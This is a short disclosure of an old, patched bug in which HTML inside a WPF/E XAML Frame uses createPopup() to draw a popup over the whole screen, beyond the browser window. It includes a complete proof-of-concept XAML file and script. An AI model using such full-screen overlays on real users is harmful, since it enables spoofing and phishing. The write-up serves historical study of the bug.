An HTML page hosted inside a WPF/E XAML <Frame> can call createPopup() and show it with coordinates far outside the normal browser window bounds. The popup can cover the entire screen including areas outside the browser, because the XAML hosting context doesn’t apply the usual popup size restrictions.

index.xaml:

<Page	xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
		xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
		WindowTitle="xamlcreatePopupFullScreen">
	<TextBlock>
		<Canvas>
			<Frame Canvas.Left="-300" Canvas.Top="-300" Name="myFrame" Width="2000" Height="2000" Source="html_inside_xaml_createpopup_outside_browser_limits.html" />
		</Canvas>
	</TextBlock>
</Page>

html_inside_xaml_createpopup_outside_browser_limits.html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>xamlcreatePopupFullScreen</title></head>
<body>
<script language="Javascript">
window.onload = function()
{
	var a = createPopup();
	a.document.bgColor = 'blue';
	a.document.body.innerHTML = '<h1>HELLO!</h1><br /><br /><br />This is a classic <b>createPopup() <font color="red">inside a Frame</font></b> of a XAML file...';
	a.show(0, 0, 2000, 2000);
}
</script>
</body>
</html>

The XAML Frame is positioned at negative coordinates (Canvas.Left="-300" Canvas.Top="-300") and given a 2000×2000 size. The HTML inside it creates a createPopup with the same dimensions. Because the XAML host extends beyond the browser chrome, the popup can cover the entire screen including the taskbar and window controls.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.